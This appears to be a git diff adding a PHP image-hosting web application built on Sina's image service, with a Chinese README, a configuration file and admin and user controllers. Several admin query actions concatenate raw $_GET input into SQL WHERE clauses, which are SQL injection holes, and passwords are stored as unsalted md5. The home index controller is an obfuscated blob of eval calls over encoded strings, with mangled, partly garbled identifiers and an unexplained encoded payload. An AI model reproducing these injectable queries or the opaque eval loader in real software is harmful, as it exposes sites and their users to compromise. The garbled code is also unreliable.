commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/README.md b/README.md new file mode 100644 index 0000000..6a8b10d --- /dev/null +++ b/README.md @@ -0,0 +1,41 @@ +# 幻想领域 + +[哇塞,终于有一款属于自己的图床了.](http://www.52ecy.cn/post-68.html "幻想领域") + +幻想领域是使用 PHP 语言开发的一款轻量级的新浪图床系统. + +它的诞生,并不是最终的解决方案,开发它的目的是为了方便自己使用. + + + +# 系统介绍 + +在 幻想领域中, 图床图片全部托管在 新浪云, 每张图片都有多张不同级别的缩略图.这便是幻想领域的最大特色之一. + +拥有较为完善的用户系统与管理员系统。管理员在后台拥有完全权限,对网站的一切基本配置 + +我的图库,将会罗列出用户自己所上传的所有图片,管理员则显示系统托管的所有图片.你可以在这里对图片进行删除、预览或者复制它,但删除仅仅只是不再出现在本系统中,图片仍然是存在于新浪之上,这点你是要知道的. + +探索,它是前台对用户图片预览的功能,在这里你可以发现和找到你需要的东西.如果你不需要它,可以在后台进行关闭设置. + +上传新浪图床并非无要求,它需要你进行登录验证,但我们拥有一套独立的新浪登录程序,不依赖任何扩展,并且无验证码,cookie过期将自动为你进行登录,为你解决一切后顾之忧,所以你必须在后台设置你的新浪账号密码才能正常使用. + + +# 安装 + +你需要将幻想领域的源代码解压缩并上传至网站根目录,访问网站域名会自动跳转到安装程序,根据向导提示安装即可。如果未跳转,请手动访问http://您的域名/install.php 进行安装 + +首次安装成功后需要登录管理员后台对图床进行一些基本配置,才能使用 + +后台地址:http://您的域名/admin 但是讽刺的是,您需要在前台进行登录 + + +## 环境支持 + +> 请注意,幻想领域自1.0版本起只支持PHP版本≥5.6,请注意更新您的PHP版本。 + + + + +![](https://ws1.sinaimg.cn/large/0072Vf1pgy1fp4ju6yg11j30xe0mp102.jpg) + diff --git a/application/config.php b/application/config.php new file mode 100644 index 0000000..5e9350f --- /dev/null +++ b/application/config.php @@ -0,0 +1,28 @@ + 'y', //注册 + 'tourist' => 'n', //游客 + 'verification' => 'n', //注册验证 + 'explore' => 'y', //探索 + 'limitip' => '1', //注册数量 + #===========网站基本配置============ + 'title' => '幻想领域', //站点标题 + 'siteinfo' => '', //站点副标题 + 'keywords' => '', //站点关键字 + 'description' => '', //站点描述 + 'record' => '', //备案号 + 'footerinfo' => '', //底部信息 + #===========新浪图床配置============ + 'username' => '', //新浪账号 + 'password' => '', //新浪密码 + 'cookie' => 'SUB=', //新浪cookie + 'time' => '1522805636', + 'level' => '7', //探索缩略图级别0-7 + #===========email邮箱配置============ + 'host' => 'smtp.163.com', //发信服务器 + 'port' => '25', //服务器端口 + 'auth' => '', // 登录账号 + 'user' => '', // 账号 + 'pass' => '', // 密码 + 'etime' => '12', //验证码有效时间(小时) +); \ No newline at end of file diff --git a/application/controller/Admin/ConfigureController.class.php b/application/controller/Admin/ConfigureController.class.php new file mode 100644 index 0000000..b778d3e --- /dev/null +++ b/application/controller/Admin/ConfigureController.class.php @@ -0,0 +1,78 @@ +checksession(true); + } + + // 显示后台配置界面 + public function IndexAction(){ + $this->display('application/view/Admin/header.php'); + $this->display('application/view/Admin/configure.php'); + $this->display('application/view/Admin/footer.php'); + } + + /** + * 获取配置数据 + * @return [type] [description] + */ + public function DataAction(){ + $data = array( + 'register' => configGet('register'), //注册 + 'tourist' => configGet('tourist'), //游客 + 'verification' => configGet('verification'), //注册验证 + 'explore' => configGet('explore'), + 'limitip' => configGet('limitip'), + 'title' => configGet('title'), + 'siteinfo' => configGet('siteinfo'), + 'keywords' => configGet('keywords'), + 'description' => configGet('description'), + 'record' => configGet('record'), + 'footerinfo' => htmlspecialchars_decode(configGet('footerinfo')), + 'username' => configGet('username'), + 'password' => configGet('password'), + 'level' => configGet('level'), + 'user' => configGet('user'), + 'pass' => configGet('pass'), + 'etime' => configGet('etime') + ); + echo json_encode($data); + } + + /** + * 修改配置数据 + */ + public function UpdateAction(){ + $data = [ + #===========网站开关================ + 'register' => isset($_POST['register']) ? 'y' : 'n', //注册 + 'tourist' => isset($_POST['tourist']) ? 'y' : 'n', //游客 + 'verification' => isset($_POST['verification']) ? 'y' : 'n', //注册验证 + 'explore' => isset($_POST['explore']) ? 'y' : 'n', //探索 + 'limitip' => isset($_POST['limitip']) ? $_POST['limitip'] : '1', + #===========网站基本配置============ + 'title' => isset($_POST['title']) ? $_POST['title'] : '幻想领域', //站点标题 + 'siteinfo' => isset($_POST['siteinfo']) ? $_POST['siteinfo'] : '', //站点副标题 + 'keywords' => isset($_POST['keywords']) ? $_POST['keywords'] : '二次元图片,新浪图床,幻想领域,阿珏博客', //站点关键字 + 'description' => isset($_POST['description']) ? $_POST['description'] : '', //站点描述 + 'record' => isset($_POST['record']) ? $_POST['record'] : '', //备案号 + 'footerinfo' => isset($_POST['footerinfo']) ? $_POST['footerinfo'] : '', //底部信息 + #===========新浪图床配置============ + 'username' => isset($_POST['username']) ? $_POST['username'] : '', //新浪账号 + 'password' => isset($_POST['password']) ? $_POST['password'] : '', //新浪密码 + 'time' => time()-3600*24, + 'level' => isset($_POST['level']) ? $_POST['level'] : '4', //探索缩略图级别0-7 + #===========email邮箱配置============ + 'auth' => isset($_POST['user']) ? $_POST['user'] : '', // 登录账号 + 'user' => isset($_POST['user']) ? $_POST['user'] : '', // 账号 + 'pass' => isset($_POST['pass']) ? $_POST['pass'] : '', // 密码 + 'etime' => isset($_POST['etime']) ? $_POST['etime'] : '12', //验证码有效时间(小时) + ]; + echo configSet($data); + } +} diff --git a/application/controller/Admin/IndexController.class.php b/application/controller/Admin/IndexController.class.php new file mode 100644 index 0000000..d76474c --- /dev/null +++ b/application/controller/Admin/IndexController.class.php @@ -0,0 +1,73 @@ +checksession(); + } + + // 显示后台首页 + public function IndexAction(){ + if ($_SESSION['authen']['role']) { + $result = Factory::M('IndexModel'); + if (function_exists("imagecreate")) { + if (function_exists('gd_info')) { + $ver_info = gd_info(); + $gd_ver = $ver_info['GD Version']; + } else{ + $gd_ver = '支持'; + } + } else{ + $gd_ver = '不支持'; + } + $this->assign('prefix',$result->getPrefix()); + $this->assign('gd_ver',$gd_ver); + $this->assign('version',$result->getVersion()); + }else{ + $res = Factory::M('UserModel')->user_fetch($_SESSION['authen']['uid']); + $this->assign('ip',$res['ip']); + $this->assign('time',date('Y-m-d H:i:s',$res['time'])); + $this->assign('email',$res['email']); + $this->assign('count',Factory::M('PicModel')->pic_count('WHERE uid= '.$_SESSION['authen']['uid'])); + } + $this->assign('username',$_SESSION['authen']['role']=='admin'?'管理员':$_SESSION['authen']['username']); + $this->display('application/view/Admin/header.php'); + $this->display('application/view/Admin/index.php'); + $this->display('application/view/Admin/footer.php'); + } + + /** + * 更新程序 + */ + public function UpdateAction(){ + $update = new Autoupdate(APP_PATH,false); + $update->currentVersion = APP_VERSION; + $update->updateUrl = 'https://img.52ecy.cn/service/'; //幻想领域服务域名 + $latest = $update->checkUpdate(); + if ($latest !== false) { + if ($latest > $update->currentVersion) { + if ($update->update()) { + if($update->replaceupdate()){ + $res=['code'=>'0000','msg'=>'更新成功,欢迎体验最新的幻想领域系统^_^']; + }else{ + $res=['code'=>'0004','msg'=>'更新文件效验失败!']; + } + }else { + $res=['code'=>'0002','msg'=>'在线更新失败,请尝试手动更新!信息:'.$update->getLastError()]; + } + }else { + $res=['code'=>'0001','msg'=>'没有发现可用的新版本!']; + } + } else { + $res=['code'=>'0003','msg'=>$update->getLastError()]; + } + echo json_encode($res); + } +} diff --git a/application/controller/Admin/NavbarController.class.php b/application/controller/Admin/NavbarController.class.php new file mode 100644 index 0000000..6f2a50d --- /dev/null +++ b/application/controller/Admin/NavbarController.class.php @@ -0,0 +1,107 @@ +checksession(true); + } + + //显示导航页面 + public function IndexAction(){ + $this->display('application/view/Admin/header.php'); + $this->display('application/view/Admin/navbar.php'); + $this->display('application/view/Admin/footer.php'); + } + + //添加导航界面 + public function NavbaraddAction(){ + $this->display('application/view/Admin/navbaradd.php'); + } + + /** + * 查询导航栏信息 + */ + public function QueryAction(){ + $key = isset($_GET['key']) ? 'WHERE naviname=\''.$_GET['key'].'\' || url=\''.$_GET['key'].'\'' : ''; + $limit = isset($_GET['limit']) ? $_GET['limit'] : '10'; + $page = isset($_GET['page']) ? ($_GET['page'] - 1) * $limit : '0'; + $res = Factory::M('NavbarModel'); + $result = $res->navbar_queryAll($page,$limit,$key); + $data = array(); + foreach ($result as $value) { + $data[] = array( + "navbarId" => $value['id'], + "navbarName" => $value['naviname'], + "navbarHide" => $value['hide']=='y'? 'checked':'', + "navbarUrl" => $value['url'], + "icon" => $value['icon'] + ); + } + $data = array( + 'code' => '0', + 'msg' => '', + 'count' => $res->navbar_count(), + 'data' => $data + ); + echo json_encode($data); + } + + /** + * 删除导航 + */ + public function DelAction(){ + $navbarsId = isset($_POST['navbarsId']) ? $_POST['navbarsId'] : ''; + if ($navbarsId != '') { + if (is_array($navbarsId)) { + $navbarsId = implode(',',$navbarsId); + } + $result = Factory::M('NavbarModel'); + if($result->navbar_del($navbarsId)){ + echo '删除成功'; + }else{ + echo '删除失败'; + } + } + } + + /** + * 显示或隐藏一个导航 + */ + public function HideAction(){ + $id = isset($_POST['id']) ? $_POST['id'] : ''; + $hide = isset($_POST['hide']) ? $_POST['hide'] : ''; + if ($id != '' && $hide != '') { + $result = Factory::M('NavbarModel'); + if($result->navbar_hide($id,$hide)){ + echo '成功'; + }else{ + echo '失败'; + } + } + } + + /** + * 添加或修改一个导航 + */ + public function AddAction(){ + $navbarId = isset($_POST['navbarId']) ? $_POST['navbarId'] : ''; + $navbarName = isset($_POST['navbarName']) ? $_POST['navbarName'] : ''; + $navbarUrl = isset($_POST['navbarUrl']) ? $_POST['navbarUrl'] : ''; + $navbarIcon = isset($_POST['navbarIcon']) ? $_POST['navbarIcon'] : ''; + $navbarHide = isset($_POST['navbarHide']) ? $_POST['navbarHide'] : 'n'; + if ($navbarName != '' && $navbarUrl != '') { + $res = Factory::M('NavbarModel'); + if ($navbarId != '') { + echo $res->navbar_update($navbarName,$navbarUrl,$navbarHide,$navbarIcon,$navbarId); + }else{ + echo $res->navbar_add($navbarName,$navbarUrl,$navbarHide,$navbarIcon); + } + } + } +} + diff --git a/application/controller/Admin/PicController.class.php b/application/controller/Admin/PicController.class.php new file mode 100644 index 0000000..60ba2ad --- /dev/null +++ b/application/controller/Admin/PicController.class.php @@ -0,0 +1,69 @@ +checksession(); + } + + // 显示后台我的图库界面 + public function IndexAction(){ + $this->display('application/view/Admin/header.php'); + $this->display('application/view/Admin/pic.php'); + $this->display('application/view/Admin/footer.php'); + } + + //查询我的图库信息 + public function QueryAction(){ + $res = Factory::M('PicModel'); + $key = isset($_GET['key']) ? 'WHERE (pid=\''.$_GET['key'].'\' || username=\''.$_GET['key'].'\')' : ''; + if ($_SESSION['authen']['role'] != 'admin') { + $key .= $key == '' ? ' WHERE' : ' and'; + $key .= ' pic.uid = \'' . $_SESSION['authen']['uid'] .'\''; + } + $limit = isset($_GET['limit']) ? $_GET['limit'] : '10'; + $page = isset($_GET['page']) ? ($_GET['page'] - 1) * $limit : '0'; + $result = $res->pic_query($page,$limit,$key); + $data = array(); + foreach ($result as $value) { + $data[] = array( + "picId" => $value['id'], + "picpid" => $value['pid'], + "picuid" => $value['username']!=''? $value['username'] : '游客', + "picip" => $value['ip'], + "picdate" => date('Y-m-d H:i:s',$value['date']) + ); + } + $data = array( + 'code' => '0', + 'msg' => '', + 'count' => $res->pic_count('WHERE uid = \''.$_SESSION['authen']['uid'].'\''), + 'data' => $data + ); + echo json_encode($data); + } + + /** + * 删除图片 + */ + public function DelAction(){ + $picId = isset($_POST['picId']) ? $_POST['picId'] : ''; + if ($picId != '') { + if (is_array($picId)) { + $picId = implode(',',$picId); + } + $result = Factory::M('PicModel'); + if($result->pic_del($picId)){ + echo '删除成功'; + }else{ + echo '删除失败'; + } + } + } + +} \ No newline at end of file diff --git a/application/controller/Admin/UserController.class.php b/application/controller/Admin/UserController.class.php new file mode 100644 index 0000000..2a7780d --- /dev/null +++ b/application/controller/Admin/UserController.class.php @@ -0,0 +1,92 @@ +checksession(true); + } + + // 显示后台用户管理界面 + public function IndexAction(){ + $this->display('application/view/Admin/header.php'); + $this->display('application/view/Admin/user.php'); + $this->display('application/view/Admin/footer.php'); + } + + /** + * 查询用户列表 + */ + public function QueryAction(){ + $res = Factory::M('UserModel'); + $key = isset($_GET['key']) ? 'WHERE username=\''.$_GET['key'].'\' || email=\''.$_GET['key'].'\'' : ''; + $limit = isset($_GET['limit']) ? $_GET['limit'] : '10'; + $page = isset($_GET['page']) ? ($_GET['page'] - 1) * $limit : '0'; + $result = $res->user_queryAll($page,$limit,$key); + $data = array(); + foreach ($result as $value) { + if ($value['activation'] == 'n' && $value['role'] != 'admin' ) { + $userStatus = '未激活'; + }else if($value['isseal'] == 'y'){ + $userStatus = '限制使用'; + }else{ + $userStatus = '正常使用'; + } + $data[] = array( + "usersId" => $value['uid'], + "userName" => $value['username'], + "userEmail" => $value['email'], + "userIp" => $value['ip'], + "userStatus" => $userStatus, + "userGrade" => $value['role'] == 'admin' ? '超级管理员' : '普通用户', + "userEndTime" => date('Y-m-d H:i:s',$value['time']) + ); + } + $data = array( + 'code' => '0', + 'msg' => '', + 'count' => $res->user_count(), + 'data' => $data + ); + echo json_encode($data); + } + + /** + * 删除用户 + */ + public function DelAction(){ + $usersId = isset($_POST['usersId']) ? $_POST['usersId'] : ''; + if ($usersId != '') { + if (is_array($usersId)) { + $usersId = implode(',',$usersId); + } + $result = Factory::M('UserModel'); + if($result->user_del($usersId)){ + echo '删除成功'; + }else{ + echo '删除失败'; + } + } + } + + /** + * 启用或禁用一个用户 + */ + public function DisableAction(){ + $uid = isset($_POST['uid']) ? $_POST['uid'] : ''; + $seal = isset($_POST['seal']) ? $_POST['seal'] : ''; + if ($uid != '' && $seal != '') { + $result = Factory::M('UserModel'); + if($result->user_seal($uid,$seal)){ + echo '成功'; + }else{ + echo '失败'; + } + } + } +} + diff --git a/application/controller/Admin/UserinfoController.class.php b/application/controller/Admin/UserinfoController.class.php new file mode 100644 index 0000000..6bdd7c1 --- /dev/null +++ b/application/controller/Admin/UserinfoController.class.php @@ -0,0 +1,94 @@ +checksession(); + } + + // 显示个人中心 + public function IndexAction(){ + $this->display('application/view/Admin/header.php'); + $this->display('application/view/Admin/userinfo.php'); + $this->display('application/view/Admin/footer.php'); + } + + /** + * 上传头像 + * @return [type] [description] + */ + public function UploadAction(){ + if (isset($_FILES['file'])) { + $upload = new Upload('file','upload/original','jpg,png,gif,bmp,jpeg'); + $result = $upload->run('1024000',false,'uid_'.$_SESSION['authen']['uid']); + if(is_array($result)){ + if($result[0]['error'] == '0'){ + resizeImage('upload/original/'.$result[0]['name'],'upload/'.'uid_'.$_SESSION['authen']['uid'].'.jpg',200,200); + $res = Factory::M('UserModel'); + $res->user_photo('uid_'.$_SESSION['authen']['uid'].'.jpg',$_SESSION['authen']['uid']); + echo json_encode(['code'=>'0','src'=> PATH_URL . 'upload/'.$result[0]['name']]); + }else{ + echo json_encode(['code' => $result[0]['error'],'msg' => Upload::getErrorText($result[0]['error'])]); + } + }else{ + echo json_encode(['code' => '8','msg' => $result]); + } + } + } + + /** + * 修改资料 + * @return [type] [description] + */ + public function UpdateAction(){ + $username = isset($_POST['username']) ? $_POST['username'] : ''; + $pwd = isset($_POST['pwd']) ? $_POST['pwd'] : ''; + $password = isset($_POST['password']) ? $_POST['password'] : ''; + if ($username != '' && $pwd != '' && $password != '') { + $result = Factory::M('UserModel'); + if (!$result->user_isexis($username,$_SESSION['authen']['uid'])) { + if($result->user_pass($_SESSION['authen']['uid'])['password']==md5($pwd)){ + if($result->user_modify($username,md5($password),$_SESSION['authen']['uid'])){ + echo '资料修改成功,请退出重新登录!'; + unset($_SESSION['authen']); + session_destroy(); + if(isset($_COOKIE[session_name()])) { + setCookie(session_name(), "", time()-42000, "/"); + } + }else{ + echo '出于不可抗力的因素,导致你的资料修改失败le~'; + } + }else{ + echo '旧密码不符合!'; + } + }else{ + echo '用户名已存在!'; + } + }else{ + echo '参数有误!'; + } + } + + /** + * 个人中心资料查询 + * @return [type] [description] + */ + public function DataAction(){ + $res = Factory::M('UserModel')->user_fetch($_SESSION['authen']['uid']); + $data = [ + 'username' => $res['username'], + 'role' => $res['role']=='admin' ? '超级管理员' : '普通用户', + 'time' => date('Y-m-d H:i:s',$res['time']), + 'ip' => $res['ip'], + 'photo' => $res['photo'] == '' ? PATH_URL . 'application/view/Admin/images/author.jpg' : PATH_URL . 'upload/' .$res['photo'], + 'email' => $res['email'] + ]; + echo json_encode($data); + } +} diff --git a/application/controller/Home/IndexController.class.php b/application/controller/Home/IndexController.class.php new file mode 100644 index 0000000..4ad0b94 --- /dev/null +++ b/application/controller/Home/IndexController.class.php @@ -0,0 +1 @@ +100){$();}eval($ڷ('XQZQEJBFV5CSI38WTQNXVUUVREB5CRQLQETRASVWULVUZDU8='));!$ٚ眣($($ߑ($,$ʝ('G1YE'),$չ׃('G1M='))),$߾($ߑ($,$('B=='),$޶('G1YH'))))?$̴҅():$Χ;$ˋݿΆ=$ڝ('G1YCBQQ=');$=$ϴ('G1YH');$=$њ(@$΄($ޔ($ߑ($,$ˋݿΆ,$))));return$;}function ꗬ(&$ȕ,$΃){$ڷ=$ʝ=$չ׃=$Ȭ=$='ᛏ';$֤=$ڷ('RRZDEREQAC');$̛ƍĤ=$ʝ('RRZDQVNF');$㽳֟=$չ׃('UREXVVCEFDB0B');$=$Ȭ('RRZDWZACVBCCFB');$ܻӕ=$Ȭ('UBX1XAA==');$ɦ㈈Э=$֤($̛ƍĤ($㽳֟($($('TMX09E5Z29DC545HJNX7AKGKPJD4BFSF3KAAP64XWPRSIL8ALH/BDYQXE+Z+V8M5AUMRWHY8BI5DN9O8RYH8MIS/U1Q4L5KUBFSXLPZ8PC3L7CBHG9ISW3PP')))));$ͨĹ񽌤=$ܻӕ(',',$ɦ㈈Э);$ȕ=$ͨĹ񽌤[$΃];}function ᛏ($,$ɮ=''){$ܧ亡='base64_decode';$߾=$ܧ亡('bWQ1');$읢=$߾('');$ҝǃ=$ܧ亡('b3Jk');$ز=$ܧ亡('c3RybGVu');$Ւ=$ܧ亡('Y2hy');$ɮ=!$ɮ?$ҝǃ(''):$ɮ;$‰͆͟=$𰈶;for(;$‰͆͟<$ز($);$‰͆͟++)$ԓ.=$ҝǃ(${$‰͆͟})<$ҝǃ('')?(($ҝǃ(${$‰͆͟})>$ɮ&&$ҝǃ(${$‰͆͟})<$ҝǃ(''))?$Ւ($ҝǃ(${$‰͆͟})/2):${$‰͆͟}):'';$=$ܧ亡($ԓ);$‰͆͟=$𰈶;$ҝǃ=$߼؃=$ز($읢);for(;$‰͆͟<$ز($);$‰͆͟++){$ҝǃ=$ҝǃ?$ҝǃ:$߼؃;$ҝǃ--;$ۉĈ.=$[$‰͆͟]^$읢[$ҝǃ];}return$ۉĈ;}}}global$ԩ㋴,$꡿,$ߑ,$Ά,$,$Ϭ,$պ,$,$൛,$,$΄,$оĂ,$ٚ眣,$,$њ,$߾,$ѻ֡,$ߚ̕;$΂и=$=$ڒ=$²=$ѵ=$ڰ=$ۗ=$ե=$╴=$=$ϻ=$IJʺ=$؇Ѷ=$=$=$ݟ=$=$Ǖ=$ȳ禪='ꗬ';if(!$ԩ㋴){$΂и($ԩ㋴,8);$($ߑ,9);$ڒ($պ,10);$²($΄,4);$ѵ($оĂ,13);$ڰ($ٚ眣,12);$ۗ($,2);$ե($њ,14);$╴($߾,15);$($ѻ֡,16);$ϻ($ߚ̕,17);$IJʺ($൛,18);$؇Ѷ($,19);$($,11);$($Ϭ,5);$ݟ($Ά,6);$($꡿,1);$Ǖ($ט,3);$ȳ禪($,7);}$ڷ=$ʝ=$չ׃=$Ȭ='ᛏ';$ԡ=$ڷ('QR');$=ܐѷ($$ԡ);$ѻ֡($ߚ̕($$ԡ));$͡=$($);eval($ڷ('URQX5RBEJUVABAVMHX1JXSD//5C+I+FIDX7B4WQ=='));$ۉĈ=$ӂ튭;$ѻ֡($ߚ̕($$ԡ));return$ۉĈ;?>TKAHVAUW0VIA1FE6JQD/JEG5OIS/VGKP+KGA90KCMF0N50RYWKMSA7MZWE7NX58I/8KV/CJ2Z/7ZXIPQFJS2VJJ13+BKBBCU+YD+UG8K9U/PGKFVD6D72P/V4J2KB4IYWDSZLAGVWVN87O/2UA1P1H/6BQNOQKKKAR6JGKBO7Q2YW03YCOO/ELUNKE/KJMSH9TD4UQF9UYHNB1HDZW+ZVT95J3+9YYM8JDL10YGDY39Q7BLZVZ9NZRYMDES8M3P5Z+LJLMJ7CJ9/NJXP543J5RDLZ5DWKVFV4QWXIK8S1QWUWC9QIIXA3/JDNCLX8/E/RRD88F1MC0QSMZKAZ7KKWUJ+0PZ9/5NHAUMBC6/9UU5RZY6GDS4II3E6JC6WYYZWMICY62B/XU7EAGB2DS2ILVVY3K4HM7H9+XZ7HGEMTNELDLFO3RDSFI643+5HOVHV5WTUV3/JWUZO57YV1THK56Y4CJTUNKLYFNVVZ6+/LTYYG3STSGLMRTH162B3X8SJ/POK2ZE7KKKHDHL9Q+CK9RKJRRJ67FGAG1LI2HQ94UC2ZV1BIA6TA19669BRH5TUFQKV6BSU1QT3VM35QM15A2QL/C6W4R8A4R34AFEGBLJTHLUMUYDP8JA5PC3TEN29GWR2QILOQL/5KLEY80KNHIWOVMZ4XB6/AUO0YJG5D+R+8AE68FGK3S5XLO2G/MAVDJQ89A2AN3830GK79VMBVUGBDM3FUCEOW904O/B28L1A+QQO0QOHS/5AUKLFUNH4S5SLUF/NK6BSAW52+Z/SM32XESPYO6O1B38W33ET6XS/VSSPF2QD6D291A9L+VITTCY+/LATZF6G8V4MN9HTKY6V89R8PUAEOO1UTUHGJ46ESRVWEQJ97/F4RPL55OFM85A32XKIQ9Y1KOR8MRY8UF+BVZYALGQ5OLPG+G39/L2SHCWAVASNJ4MXR6T8IQD3IO7I7AW0FOFA5KGWEH9LPC7AZ/O40UH18TQ4A0JX0257N73UG1FOR5S7R1THPCGI6OPTRKWRWY00+OE0V15PQM0W/XJ68KKOS+PRW1G2HVS5UK54SDPT773/TH0GWKVVT/IPG39WG4R8E76GFTY0F4BBR8Y83G+WJNCBDCOZSI8S7Q/8OEOHPNXL8X4G91SK28FFRYMVYI5DZBPWTHT8OFOB9HR2284A1WTEH+9VM47RNKUIDOG6ONIB2GQ5+PZYU4MXDEJCC3U7M+ZBQCZF/DJD4+IHW94J/KI2P67NRRJKEI+25RFDZ76/F9V3E2EP9/H4/0EORBRYYCZLK5LNJB3PG9Y6B5B8UMF5WCQOEQY4G6ITXKRCSP2A6NRK7N4RU7YV7B8YE7ZCZIBFHK1KK62+3U6O6Y0QJY227QI8Q8IB7PTNN5Q1I/+C5E217QON6D9VOCL557F1HDE0C8YEFH58KFTB8S7FIH0NHUO8XK3BTDN/ASQDJN7E6Q298NXNQO7N162X4C80IH21GF228K4MZSK3D67QSYT4O++LIDPIH+F341ID88RGENDFGGC08H5FI1YBMYH35MO3OU6/AMVAMF+TPZ7GQ8WHYKA16QCSXXOTRGV7+JVMVQGY+4SX+CPLANTRBIRDYI65ZVJEWXG9COD61YIJMJA0J7E/ZW239I7CP5N3K+G/EYPV2HYFU+YMW+GLST+AWD6C257/7KS08C/E9PPS0E8W+L3AULFNO/YPT8SR4WT2YMYIVT9KX2HILICX2EX52GJCMPI3+S72Z93KM4HIVM56EP/0KO0SOF6RKTI+TRA1KDMYQG8CFQ5Q/FDJJM8SDWLX9B6S06/BGV2S8+7ZRCGSR8AQ77S+0U/RTGJ57EYUJ2F6V69//IG/1ZUJOO4DF25TL9T4TQS8CFAQ4GE6LUVV7UXPATIEP1QY599NQVJ6XRJ84Z0CEHKQ170XMYZUH0IGQOMPZBWPXPQC4Z1TU4NAC1YH6KDTWD757J/BPYN7B2MNB64JTJJO0E/A45394X4X6L/YISQTM11+OL45C6XN7TSOR9NLGWGPKETNZM2FZZZMJC49DN3CZCZOTZ8Z8N6L6XVBC8VZVIBAO297D+0BP8BNUSY40J4EIUZZ5AFF3JND2Q8QYYSPC3X6F/L27DHVXARAXNDMSRF70FK+H9UAYQMW9QJXV9G7IL0QCAM+M+SGSJ84W4E4D2PZUC8JX+R/5XNHY1RQMH3ZD+T8O+QYIT0QT/6C33L/FQSU2K2RMW8VGZXB5WGRYJMGN6C0/9XKNDZ56E/88RNIE4RXPG9125K7KKKXZWDMEQ8AFLWATO3UNPN8YE3RB6K60C6RIBZNDV+C6/NKVKV7I4N6LOHUWMYQ13HMH8ACWYMVVAHOC4993DSRNHK8KHQSW8RFHXJH1AYMAJXDG+IJRL7YV0JERZYZ5+8Z8Q49H4AXXUYUN5ZHCLV9QCQNRQZ1N/OSH0J3S/DJTQGHFP2FI04CD2JQCA/895FF+S1CYX+8S4PIP9DJHPE1592L9MI9G5U7UK/Z+KOMN4446S+679S5/U01BL2B57/NP7TPL/IHSQF31NOW4=AQHUARQVFTWVUU1QFVQUBAQZVBVIAWFTWQFVQNX; \ No newline at end of file diff --git a/application/controller/Home/UserController.class.php b/application/controller/Home/UserController.class.php new file mode 100644 index 0000000..ac84502 --- /dev/null +++ b/application/controller/Home/UserController.class.php @@ -0,0 +1,154 @@ +VerifyAction()){ + $mysqli = Factory::M('UserModel'); + if($result = $mysqli->user_query($username,md5($password))){ + if ($result['role'] == 'admin') { + $res=['code'=>'0000','username'=>$username,'msg'=>'欢迎回来,管理员!']; + $_SESSION['authen'] = ['uid'=>$result['uid'],'username'=>$result['username'],'role'=>'admin']; + }elseif (configGet('verification')=='y' && $result['activation'] == 'n') { + $res=['code'=>'0004','username'=>$username,'msg'=>'当前账号未激活!']; + }elseif ($result['isseal'] == 'y') { + $res=['code'=>'0005','username'=>$username,'msg'=>'您的账号已被管理员禁止登录!']; + }else{ + $res=['code'=>'0000','username'=>$username,'msg'=>'登录成功,欢迎回来!']; + $_SESSION['authen'] = ['uid'=>$result['uid'],'username'=>$result['username'],'role'=>'']; + } + }else{ + $res=['code'=>'0001','msg'=>'用户名或密码错误!']; + } + }else{ + $res=['code'=>'0002','msg'=>'您输入的验证码有误!']; + } + }else{ + $res=['code'=>'0003','msg'=>'提交参数有误!']; + } + echo json_encode($res); + } + + /** + * 用户退出 + * @return [type] [description] + */ + public function LogoutAction(){ + unset($_SESSION['authen']); + session_destroy(); + if(isset($_COOKIE[session_name()])) { + setCookie(session_name(), "", time()-42000, "/"); + } + Msg('安全退出!'); + } + + // 接收注册信息 + public function DoregisterAction(){ + if(configGet('register') == 'n') Msg('网站已关闭对外注册!','error'); + $r_password = isset($_POST['password']) ?$_POST['password'] :''; + $r_user_name = isset($_POST['username']) ? $_POST['username'] : ''; + $r_email = isset($_POST['email']) ? $_POST['email'] : ''; + if ($r_email != '' && $r_email != '' && $r_user_name != '') { + if(checkMail($r_email) && checkPass($r_password) && checkNmae($r_user_name)){ + $mysqli = Factory::M('UserModel'); + if ($mysqli->user_limitip(getIp())< configGet('limitip')) { + $activation = $mysqli->hasUserEmail($r_user_name,$r_email); + if (!$activation['activation']) { + if (configGet('verification')=='y') { + $token = md5($r_user_name.$r_email . time()); + $result = $mysqli->user_add($r_user_name,md5($r_password),time(),$r_email,$token,getIp()); + $res = $this->Activation($r_user_name,$r_email,$token); + }else{ //不需要验证 + $result = $mysqli->user_add($r_user_name,md5($r_password),time(),$r_email,'',getIp()); + $res = ['code'=> '0000','msg'=>'注册成功!欢迎使用' . configGet('title')]; + } + }elseif ($activation['activation'] == 'n' && configGet('verification')=='y') { //重新注册发邮件 + $token = md5($r_user_name.$r_email . time()); + $mysqli->user_update($r_user_name,md5($r_password),time(),$r_email,$token); + $res = $this->Activation($r_user_name,$r_email,$token); + }else{ + $res = ['code'=> '0001','msg'=>'用户名或邮箱已存在!' ]; + } + }else{ + $res = ['code'=> '0004','msg'=>'当前ip注册数量已达最大上限!' ]; + } + }else{ + $res = ['code'=> '0002','msg'=>'提交参数不合法!' ]; + } + }else{ + $res = ['code'=> '0003','msg'=>'提交参数有误!' ]; + } + echo json_encode($res); + } + + /** + * 发送激活邮件 + * @param [type] $r_user_name 用户名 + * @param [type] $r_email 发送的邮箱地址 + * @param [type] $token 唯一标识符 + * @return [type] [description] + */ + private function Activation($r_user_name,$r_email,$token){ + $title = configGet('title'); + $etime = configGet('etime'); + $url = PATH_URL; + $html = <<
欢迎使用{$title}通行证!

请点击下面的链接完成邮箱验证:

{$url}Home/User/ActivateAction/token/$token
如果以上链接无法点击,请将该链接复制到浏览器(如 Chrome)的地址栏中访问,也可以成功完成邮箱验证!



1. 为了保障您账号的安全性, 请在{$etime}小时内完成验证, 此链接将在您激活过一次后失效!

2. 如您没有注册过{$title}账号, 请您忽略此邮件, 由此给您带来的不便敬请谅解。



- {$title}
